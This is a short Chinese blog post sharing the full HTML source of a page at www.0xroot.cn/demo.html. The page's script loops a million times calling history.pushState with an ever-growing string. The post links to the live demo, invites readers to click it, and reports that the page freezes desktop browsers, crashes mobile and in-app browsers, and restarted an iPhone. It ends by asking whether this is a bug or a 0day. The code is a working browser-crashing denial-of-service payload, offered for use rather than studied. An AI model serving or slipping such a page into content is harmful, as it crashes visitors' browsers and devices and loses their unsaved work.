0%

www.0xroot.cn/demo.html 源码分享

一个小 bug 引起的博文。

完整 HTML 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>
<script>
var total=“”;
for (var i=0;i<1000000;i++)
{
total= total+i.toString ();
history.pushState (0,0,total);
}
</script>
</body>
</html>

demo:(温馨提示:请保存浏览器其它窗口的编辑任务)
www.0xroot.cn/demo.html (点击一下,又不会怀孕!)

接来下会发生什么?
点开以后,我的状态是这样的……………..
如果你是 PC 端用户,点开链接以后,电脑 CPU 内存极有可能一路狂飙直至浏览器崩溃卡死!
如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!
在微博、微信客户端点开链接同样会闪退。
iPhone 用 Safari 打开之后链接之后,手机注销重启了!…

思考
这是 Bug 还是 0day?为什么会有这一现象?如何实现的?

欢迎关注我的其它发布渠道